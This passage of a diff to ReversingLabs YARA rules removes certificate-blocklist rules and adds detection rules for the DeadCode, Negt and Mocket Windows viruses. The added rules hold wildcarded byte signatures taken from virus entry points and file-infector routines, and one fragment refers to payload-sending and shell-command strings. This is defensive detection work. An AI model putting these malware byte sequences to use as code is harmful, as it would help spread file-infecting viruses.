?? 77 ?? 89 ED 48 63 D0 48 89 DE 49 8D 3C 2F E8 ?? ?? ?? ?? 31 FF E8 ?? ?? ?? ?? 4C + 29 F0 48 83 F8 ?? 0F 87 ?? ?? ?? ?? 44 89 E5 45 31 E4 EB ?? 0F 1F 84 00 ?? ?? ?? ?? + E8 ?? ?? ?? ?? 83 38 ?? 75 ?? 41 83 C4 ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 83 FC ?? + 0F 8E ?? ?? ?? ?? 41 89 EC BB ?? ?? ?? ?? 48 8B 7C 24 ?? E8 ?? ?? ?? ?? BF ?? ?? ?? + ?? E8 ?? ?? ?? ?? 45 85 E4 74 ?? 48 8D 7C 24 ?? 44 89 E6 E8 ?? ?? ?? ?? 48 81 C4 ?? + ?? ?? ?? 89 D8 5B 5D 41 5C 41 5D 41 5E 41 5F C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OM-FAS d.o.o." and ( pe.signatures [ i ] . serial == "00:fd:41:e6:bd:74:28:d3:00:8c:8a:05:f6:8c:9a:c6:f2" or pe.signatures [ i ] . serial == "fd:41:e6:bd:74:28:d3:00:8c:8a:05:f6:8c:9a:c6:f2" ) and 1575590400 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and ( all of ( $connect_proxy_p* ) ) and ( $send_payload ) and ( $execute_shell_command ) } -rule REVERSINGLABS_Cert_Blocklist_C7079866C0E48B01246Ba0C148E70D4D : INFO FILE +rule REVERSINGLABS_Win32_Virus_Deadcode : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects DeadCode virus." author = "ReversingLabs" - id = "2c985bd9-cb2a-553a-af63-a2a0a80cc641" - date = "2020-08-05" - modified = "2023-11-08" + id = "89ec2e39-a163-5ba6-9b19-9c94b1923d47" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5520-L5538" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/virus/Win32.Virus.DeadCode.yara#L3-L76" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "cc144760e0ca21fd98b55ac222db540900def61f54e9644f8cab5f711ec7bf24" + logic_hash = "6ac2e48daaed222f0a19afd4d03a02834705e0e3762db3217f68569554171846" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Virus" + tc_detection_name = "DeadCode" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO GARANT" and ( pe.signatures [ i ] . serial == "00:c7:07:98:66:c0:e4:8b:01:24:6b:a0:c1:48:e7:0d:4d" or pe.signatures [ i ] . serial == "c7:07:98:66:c0:e4:8b:01:24:6b:a0:c1:48:e7:0d:4d" ) and 1588679105 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_D591Da22F33C800A7024Aecff2Cd6C6D : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "294cbf90-cd1f-5743-a51a-46e1d04ef34e" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5540-L5558" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "30e421d5ea3c5693c5c9bd0e3dd997ceda9755d17e3fb16d2a8e6c4a327ae32f" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $deadcode_ep_1 = { + 64 67 FF 36 30 00 58 8B 40 08 FF 70 48 5B FF 70 4C 5A 03 40 44 + FF E0 + } + $deadcode_marker = { + DE C0 AD DE + } + $deadcode_ep_2 = { + 2B C0 85 C0 74 0E 64 67 FF 36 00 00 64 67 89 26 00 00 89 00 E8 + ED FF FF FF 8B 74 24 0C 64 67 A1 30 00 8B 40 08 8B 58 48 8B 50 + 4C 03 40 44 89 86 B8 00 00 00 89 86 B0 00 00 00 89 9E A4 00 00 + 00 89 96 A8 00 00 00 2B C0 C3 + } + $deadcode_ep_3 = { + B8 DE C0 AD DE 50 5A 64 67 A1 30 00 8B 40 08 8B 58 48 8B 50 4C + 03 40 44 FF D0 + } + $deadcode_body_1 = { + 8B D0 8B EA 81 C5 ?? ?? ?? ?? 89 85 A4 00 00 00 89 9D C0 00 00 00 E8 56 01 00 00 89 + 45 00 8D 75 04 81 C2 ?? ?? ?? ?? 6A 19 FF 75 00 52 56 E8 CE 01 00 00 64 67 A1 30 00 + 8B 40 08 89 85 88 00 00 00 C7 85 D0 00 00 00 ?? ?? ?? ?? E8 09 00 00 00 8B 64 24 08 + E9 03 01 00 00 33 D2 64 FF 32 64 89 22 83 BD C0 00 00 00 00 75 2F 6A 04 68 00 10 00 + 00 68 40 01 00 00 6A 00 FF 55 08 50 8F 45 78 E8 2A 03 00 00 68 00 40 00 00 68 40 01 + 00 00 FF 75 78 FF 55 28 E9 C3 00 00 00 8B 85 A4 00 00 00 05 ?? ?? ?? ?? 8D B5 B4 00 + 00 00 56 6A 00 55 50 68 00 00 10 00 6A 00 FF 55 30 89 85 AC 00 00 00 6A 04 68 00 10 + 00 00 6A 54 6A 00 FF 55 08 89 85 A8 00 00 00 64 67 A1 30 00 8B 40 10 8B 40 3C 8B B5 + A8 00 00 00 8D 7E 10 56 57 6A 00 6A 00 6A 04 6A 01 6A 00 6A 00 50 6A 00 FF 55 50 85 + C0 74 5D FF 76 04 8F 85 B0 00 00 00 64 67 A1 30 00 8B 40 08 8B D8 03 5B 3C 8B 5B 28 + 03 D8 8B 8D A4 00 00 00 81 ?? ?? ?? ?? 8D 85 B4 00 00 00 50 6A ?? 51 53 FF 36 FF 55 + 4C FF 76 04 FF 55 54 8D B5 AC 00 00 00 6A FF 6A 01 56 6A 02 FF 55 34 68 00 40 00 00 + 6A 54 FF B5 A8 00 00 00 FF 55 28 33 D2 64 8F 02 5A E8 DB 01 00 00 E8 F5 00 00 00 6A + 00 FF 55 3C 64 67 8B 36 00 00 AD 83 F8 FF 74 04 8B F0 EB F6 8B 7E 04 81 E7 00 00 FF + FF 66 81 3F 4D 5A 74 08 81 EF 00 00 01 00 EB F1 8B DF 03 5B 3C 66 81 3B 50 45 74 02 + EB E3 8B C7 C3 55 8B EC 8B 75 0C AC 84 C0 75 FB 2B 75 0C 8B CE 8B 5D 08 03 5B 3C 8B + 5B 78 03 5D 08 8B 53 20 03 55 08 2B C0 8B 32 03 75 08 8B 7D 0C 51 FC F3 A6 59 74 06 + } + $deadcode_body_2 = { + 83 C2 04 40 EB EB 8B 73 24 03 75 08 2B D2 66 8B 14 46 8B 73 1C 03 75 08 8B 04 96 03 + 45 08 8B E5 5D C2 08 00 55 8B EC 8B 7D 08 8B 75 0C 8B 4D 14 51 56 57 56 FF 75 10 E8 + 91 FF FF FF 5F 5E 59 AB AC 84 C0 75 FB E2 E9 8B E5 5D C2 10 00 8B 6C 24 04 6A 04 68 + 00 10 00 00 68 40 01 00 00 6A 00 FF 55 08 85 C0 74 18 89 45 78 E8 63 01 00 00 68 00 + 40 00 00 68 40 01 00 00 FF 75 78 FF 55 28 6A 00 FF 55 40 C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO T2 Soft" and ( pe.signatures [ i ] . serial == "00:d5:91:da:22:f3:3c:80:0a:70:24:ae:cf:f2:cd:6c:6d" or pe.signatures [ i ] . serial == "d5:91:da:22:f3:3c:80:0a:70:24:ae:cf:f2:cd:6c:6d" ) and 1588679107 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( ( $deadcode_ep_1 at pe.entry_point ) and ( $deadcode_marker at 0x40 ) ) or ( ( $deadcode_ep_2 at pe.entry_point ) and ( $deadcode_marker at 0x40 ) ) or ( ( $deadcode_ep_3 at pe.entry_point ) and ( $deadcode_marker at 0x40 ) ) or ( $deadcode_body_1 and $deadcode_body_2 ) ) } -rule REVERSINGLABS_Cert_Blocklist_B36E0F2053Caee9C3B966F7Be0B40Fc3 : INFO FILE +rule REVERSINGLABS_Win32_Virus_Negt : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Negt virus." author = "ReversingLabs" - id = "8ed732ae-1c25-59fc-8ebe-50a1eb81e4a9" - date = "2020-08-05" - modified = "2023-11-08" + id = "80e83105-dd98-5fad-9119-f851ec3199af" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5560-L5578" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/virus/Win32.Virus.Negt.yara#L3-L94" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2444c78aefdb9e8c8004598a318db016d7e781ede6da2ba3ee85316456c3e77b" + logic_hash = "43057ef111fc505678606386c8d428653da391f4b65844d81479ca05e3517346" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Virus" + tc_detection_name = "Negt" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PARTS-JEST d.o.o." and ( pe.signatures [ i ] . serial == "00:b3:6e:0f:20:53:ca:ee:9c:3b:96:6f:7b:e0:b4:0f:c3" or pe.signatures [ i ] . serial == "b3:6e:0f:20:53:ca:ee:9c:3b:96:6f:7b:e0:b4:0f:c3" ) and 1600172855 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_5B320A2F46C99C1Ba1357Bee : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "3912fdfc-7a84-51ce-abd2-977ad183af26" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5580-L5596" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "12797f80bce9d64c6c07e185aa309a0c4f910835745a7f2cc1874fb1211624d8" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $negt_body_and_infector_1 = { + 6A 00 E8 99 08 00 00 A3 ?? ?? ?? ?? 68 04 01 00 00 68 ?? ?? ?? ?? 6A 00 E8 7D 08 00 00 6A 00 68 ?? ?? ?? ?? 68 ?? ?? ?? + ?? E8 48 08 00 00 BB 00 00 00 00 8D 05 ?? ?? ?? ?? FE 00 68 ?? ?? ?? ?? E8 2D 00 00 00 43 83 FB 18 7C E8 E8 92 08 00 00 + 3C 9F 7F 17 6A 01 68 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 6A 00 6A 00 E8 7D 08 00 00 6A 00 E8 10 08 00 00 55 8B EC 81 C4 B8 + FD FF FF FF 75 08 E8 35 08 00 00 0B C0 0F 84 C2 00 00 00 8D 85 C2 FE FF FF 50 68 ?? ?? ?? ?? E8 F2 07 00 00 89 85 BC FE + FF FF 83 BD BC FE FF FF FF 0F 84 9E 00 00 00 8D 9D EE FE FF FF 53 E8 21 08 00 00 8B F3 BB 00 00 00 00 F7 D3 68 ?? ?? ?? + ?? 56 E8 01 08 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 F4 07 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 E7 07 00 00 23 D8 68 ?? ?? ?? ?? + 56 E8 DA 07 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 CD 07 00 00 23 D8 83 FB 00 74 28 FF 75 08 68 ?? ?? ?? ?? E8 BF 07 00 00 8D + 85 EE FE FF FF 50 68 ?? ?? ?? ?? E8 A2 07 00 00 68 ?? ?? ?? ?? E8 08 01 00 00 8D 85 C2 FE FF FF 50 FF B5 BC FE FF FF E8 + 50 07 00 00 83 F8 00 0F 85 62 FF FF FF FF B5 BC FE FF FF E8 30 07 00 00 8D 85 C2 FE FF FF 50 68 ?? ?? ?? ?? E8 25 07 00 + 00 89 85 BC FE FF FF 83 BD BC FE FF FF FF 0F 84 AF 00 00 00 8D BD C2 FE FF FF 8B 07 66 83 E0 10 0F 84 82 00 00 00 8D 9D + } + $negt_body_and_infector_2 = { + EE FE FF FF 53 E8 42 07 00 00 8B F3 BB 00 00 00 00 F7 D3 68 ?? ?? ?? ?? 56 E8 22 07 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 15 + 07 00 00 23 D8 68 ?? ?? ?? ?? 56 E8 08 07 00 00 23 D8 83 FB 00 74 41 FF 75 08 8D 85 B8 FD FF FF 50 E8 F8 06 00 00 8D 85 + EE FE FF FF 50 8D 85 B8 FD FF FF 50 E8 D9 06 00 00 68 ?? ?? ?? ?? 8D 85 B8 FD FF FF 50 E8 C8 06 00 00 60 8D 85 B8 FD FF + FF 50 E8 63 FE FF FF 61 8D 85 C2 FE FF FF 50 FF B5 BC FE FF FF E8 72 06 00 00 83 F8 00 0F 85 51 FF FF FF FF B5 BC FE FF + FF E8 52 06 00 00 C9 C2 04 00 55 8B EC 81 C4 E4 E9 FF FF 51 6A 00 68 80 00 00 00 6A 03 6A 00 6A 03 68 00 00 00 C0 FF 75 + 08 E8 1E 06 00 00 83 F8 FF 75 05 E9 AE 03 00 00 89 45 FC 6A 00 6A 00 6A 3C FF 75 FC E8 45 06 00 00 6A 00 8D 45 F0 50 6A + 04 8D 45 F4 50 FF 75 FC E8 25 06 00 00 6A 00 6A 00 FF 75 F4 FF 75 FC E8 22 06 00 00 6A 00 8D 45 F0 50 68 20 01 00 00 68 + ?? ?? ?? ?? FF 75 FC E8 FE 05 00 00 8B 5D F4 83 EB 0B 6A 00 6A 00 53 FF 75 FC E8 F7 05 00 00 6A 00 8D 45 F0 50 6A 0B 68 + ?? ?? ?? ?? FF 75 FC E8 D6 05 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 E5 05 00 00 0B C0 75 05 E9 12 03 00 00 81 3D ?? ?? + ?? ?? 50 45 00 00 74 05 E9 01 03 00 00 0F B7 05 ?? ?? ?? ?? B9 28 00 00 00 F7 E1 03 45 F4 83 C0 18 0F B7 0D ?? ?? ?? ?? + 03 C1 83 C0 28 3B 05 ?? ?? ?? ?? 76 05 E9 D4 02 00 00 A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 0F B7 + } + $negt_body_and_infector_3 = { + 05 ?? ?? ?? ?? B9 28 00 00 00 F7 E1 83 C0 04 03 45 F4 83 C0 14 05 E0 00 00 00 89 45 EC C7 05 ?? ?? ?? ?? 2E 45 41 54 C7 + 05 ?? ?? ?? ?? 55 02 00 00 FF 35 ?? ?? ?? ?? 8F 05 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 99 F7 F1 40 F7 E1 A3 ?? + ?? ?? ?? 8B 45 EC 83 E8 18 6A 00 6A 00 50 FF 75 FC E8 10 05 00 00 6A 00 8D 45 F0 50 6A 04 8D 45 E8 50 FF 75 FC E8 F0 04 + 00 00 6A 00 8D 45 F0 50 6A 04 8D 45 E4 50 FF 75 FC E8 DC 04 00 00 8B 45 E8 03 45 E4 A3 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 00 + 00 00 00 C7 05 ?? ?? ?? ?? 00 00 00 00 66 C7 05 ?? ?? ?? ?? 00 00 66 C7 05 ?? ?? ?? ?? 00 00 C7 05 ?? ?? ?? ?? 20 00 00 + E0 6A 00 6A 00 FF 75 EC FF 75 FC E8 9E 04 00 00 6A 00 8D 45 F0 50 6A 28 68 ?? ?? ?? ?? FF 75 FC E8 8F 04 00 00 68 ?? ?? + ?? ?? E8 61 04 00 00 68 ?? ?? ?? ?? E8 63 04 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 48 04 00 00 A3 ?? + ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 33 04 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 1E 04 00 00 + A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 09 04 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 F4 03 + 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 DF 03 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 + CA 03 00 00 A3 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? E8 B5 03 00 00 A3 ?? ?? ?? ?? 6A 02 6A 00 6A 00 FF 75 FC E8 + BA 03 00 00 6A 00 8D 45 F0 50 FF 35 ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 50 FF 75 FC E8 A5 03 00 00 66 FF 05 ?? ?? ?? ?? A1 ?? + ?? ?? ?? 8B 0D ?? ?? ?? ?? 99 F7 F1 40 F7 E1 03 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? A3 ?? ?? ?? ?? 6A 00 6A 00 + } + $negt_body_and_infector_4 = { + FF 75 F4 FF 75 FC E8 63 03 00 00 6A 00 8D 45 F0 50 68 F8 00 00 00 68 ?? ?? ?? ?? FF 75 FC E8 51 03 00 00 83 6D F4 0B 6A + 00 6A 00 FF 75 F4 FF 75 FC E8 38 03 00 00 6A 00 8D 45 F0 50 6A 0B 68 ?? ?? ?? ?? FF 75 FC E8 29 03 00 00 6A 00 6A 20 6A + 03 6A 00 6A 01 68 00 00 00 80 68 ?? ?? ?? ?? E8 C8 02 00 00 89 45 F8 6A 00 6A 00 6A 00 FF 75 F8 E8 F9 02 00 00 6A 00 8D + 45 F0 50 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 75 F8 E8 D3 02 00 00 8B 75 F0 6A 02 6A 00 6A 00 FF 75 FC E8 CE 02 00 00 + 6A 00 8D 45 F0 50 56 8D 85 ?? ?? ?? ?? 50 FF 75 FC E8 BE 02 00 00 FF 75 FC E8 62 02 00 00 FF 75 F8 E8 5A 02 00 00 59 C9 + C2 04 00 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 00 01 00 00 FF B5 ?? ?? ?? ?? 6A 00 + FF 95 ?? ?? ?? ?? 6A 00 6A 20 6A 03 6A 00 6A 01 68 00 00 00 80 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A + 00 6A 20 6A 02 6A 00 6A 03 68 00 00 00 C0 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A 00 FF B5 ?? ?? ?? + ?? FF 95 ?? ?? ?? ?? 2D ?? ?? ?? ?? 6A 00 6A 00 50 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 6A 00 8D 85 ?? ?? ?? ?? 50 68 00 + 01 00 00 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 83 FB 00 74 1E 8D 85 ?? ?? ?? ?? 6A 00 + 50 53 FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? EB B7 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? + FF 95 ?? ?? ?? ?? 6A 00 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 03 85 ?? ?? ?? ?? 50 C3 + } + $negt_infector = { + E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 00 01 00 00 FF B5 ?? ?? ?? ?? 6A 00 FF 95 ?? + ?? ?? ?? 6A 00 6A 20 6A 03 6A 00 6A 01 68 00 00 00 80 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A 00 6A 20 + 6A 02 6A 00 6A 03 68 00 00 00 C0 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A 00 FF B5 ?? ?? ?? ?? FF 95 + ?? ?? ?? ?? 2D ?? ?? ?? ?? 6A 00 6A 00 50 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 6A 00 8D 85 ?? ?? ?? ?? 50 68 00 01 00 00 + FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 83 FB 00 74 1E 8D 85 ?? ?? ?? ?? 6A 00 50 53 FF + B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? EB B7 FF B5 ?? ?? ?? ?? FF 95 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 95 ?? + ?? ?? ?? 6A 00 8D 85 ?? ?? ?? ?? 50 FF 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 03 85 ?? ?? ?? ?? 50 C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "REGION TOURISM LLC" and pe.signatures [ i ] . serial == "5b:32:0a:2f:46:c9:9c:1b:a1:35:7b:ee" and 1602513116 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( $negt_infector at pe.entry_point ) or ( ( $negt_body_and_infector_1 at pe.entry_point ) and $negt_body_and_infector_2 and $negt_body_and_infector_3 and $negt_body_and_infector_4 ) ) } -rule REVERSINGLABS_Cert_Blocklist_08D4352185317271C1Cec9D05C279Af7 : INFO FILE +rule REVERSINGLABS_Win32_Virus_Mocket : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Mocket virus." author = "ReversingLabs" - id = "0165920f-5f4d-5b35-990d-120786b4c5ba" - date = "2020-08-05" - modified = "2023-11-08" + id = "878c2162-9a79-52e6-af7b-95f9667f9e78" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5598-L5614" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/virus/Win32.Virus.Mocket.yara#L3-L58" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b240962ab23729b241413ed1e53ac6541bf6b8a673c57522efd0cfe0c7eb9dd4" + logic_hash = "af16974396efe7a1a46aa39b812482dcc49d0fe95db6640c1703db479e7ea9dc" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Virus" + tc_detection_name = "Mocket" + tc_detection_factor = 5 importance = 25 + strings: + $mocket_body_1 = { + E8 00 00 00 00 5B 81 EB ?? ?? ?? ?? 8B 34 24 81 E6 00 00 FF FF E8 31 00 00 00 89 83 ?? ?? ?? ?? E8 4C 00 00 00 89 83 ?? + ?? ?? ?? E8 A2 00 00 00 E8 CD 00 00 00 E8 05 01 00 00 87 CB E3 0C B8 ?? ?? ?? ?? 05 ?? ?? ?? ?? FF E0 C3 66 81 3E 4D 5A + 75 0E 8B 7E 3C 03 FE 66 81 3F 50 45 75 02 96 C3 81 EE 00 00 01 00 81 FE 00 00 00 70 73 DD 33 C0 C3 8B 70 3C 03 F0 8B 76 + 78 03 F0 56 8B 76 20 03 F0 8B C6 33 D2 33 C9 8A 8B ?? ?? ?? ?? 8D BB ?? ?? ?? ?? 8B 34 02 03 B3 ?? ?? ?? ?? 83 C2 04 F3 + A6 75 E2 5E 8B C6 83 EA 04 D1 EA 8B 40 24 03 83 ?? ?? ?? ?? 33 C9 66 8B 0C 02 8B C6 8B 40 1C 03 83 ?? ?? ?? ?? C1 E1 02 + 8B 04 01 03 83 ?? ?? ?? ?? C3 8D BB ?? ?? ?? ?? 8D B3 ?? ?? ?? ?? 57 8B 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 89 06 + 83 C6 04 B9 FF FF FF FF 32 C0 F2 AE 80 3F 90 75 DD C3 8D BB ?? ?? ?? ?? 57 68 80 00 00 00 8B 83 ?? ?? ?? ?? FF D0 81 C7 + 80 00 00 00 57 68 80 00 00 00 8B 83 ?? ?? ?? ?? FF D0 81 C7 80 00 00 00 57 68 80 00 00 00 8B 83 ?? ?? ?? ?? FF D0 C3 33 + C9 B1 03 8D BB ?? ?? ?? ?? 57 8B 83 ?? ?? ?? ?? FF D0 E8 01 00 00 00 C3 C7 83 ?? ?? ?? ?? 00 00 00 00 8D 83 ?? ?? ?? ?? + } + $mocket_body_2 = { + 50 8D 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 40 0B C0 74 53 48 89 83 ?? ?? ?? ?? E8 48 00 00 00 FE 83 ?? ?? ?? ?? 80 + BB ?? ?? ?? ?? 0A 74 29 8D BB ?? ?? ?? ?? B9 ?? ?? ?? ?? 32 C0 F3 AA 8D 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? 50 8B 83 ?? + ?? ?? ?? FF D0 0B C0 75 C3 8B 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 C3 60 8D B3 ?? ?? ?? ?? 56 8B 83 ?? ?? ?? ?? FF + D0 89 83 ?? ?? ?? ?? 68 80 00 00 00 56 8B 83 ?? ?? ?? ?? FF D0 E8 B7 01 00 00 40 0B C0 0F 84 75 01 00 00 48 89 83 ?? ?? + ?? ?? 8B 8B ?? ?? ?? ?? E8 B4 01 00 00 0B C0 0F 84 4D 01 00 00 89 83 ?? ?? ?? ?? 8B 8B ?? ?? ?? ?? E8 B4 01 00 00 0B C0 + 0F 84 26 01 00 00 89 83 ?? ?? ?? ?? 8B 70 3C 03 F0 66 81 3E 50 45 0F 85 F7 00 00 00 81 7E 4C 4B 43 4F 4D 0F 84 EA 00 00 + 00 8B 4E 3C 51 8B 46 28 89 83 ?? ?? ?? ?? 8B 46 34 89 83 ?? ?? ?? ?? FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 FF B3 ?? + ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 59 8B 83 ?? ?? ?? ?? 05 ?? ?? ?? ?? E8 5C 01 00 00 89 83 ?? ?? ?? ?? 91 E8 21 01 00 00 + 40 0B C0 0F 84 B9 00 00 00 48 89 83 ?? ?? ?? ?? 8B 8B ?? ?? ?? ?? E8 1F 01 00 00 0B C0 0F 84 91 00 00 00 89 83 ?? ?? ?? + } + $mocket_body_3 = { + ?? 8B 70 3C 03 F0 8B FE 83 C6 78 8B 57 74 C1 E2 03 03 F2 0F B7 47 06 48 6B C0 28 03 F0 8B 56 10 8B CA 03 56 14 52 8B C1 + 03 46 0C 89 47 28 8B 46 10 05 ?? ?? ?? ?? 8B 4F 3C E8 EA 00 00 00 89 46 10 89 46 08 8B 46 10 03 46 0C 89 47 50 81 4E 24 + 20 00 00 A0 C7 47 4C 4B 43 4F 4D 8D B3 ?? ?? ?? ?? 5A 87 FA 03 BB ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 A4 EB 0B 8B 8B ?? ?? ?? + ?? E8 41 00 00 00 FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 FF B3 ?? ?? ?? ?? 8B 83 ?? ?? ?? ?? FF D0 FF B3 ?? ?? ?? ?? + 8B 83 ?? ?? ?? ?? FF D0 FF B3 ?? ?? ?? ?? 8D 83 ?? ?? ?? ?? 50 8B 83 ?? ?? ?? ?? FF D0 61 C3 33 C0 50 50 51 FF B3 ?? ?? + ?? ?? 8B 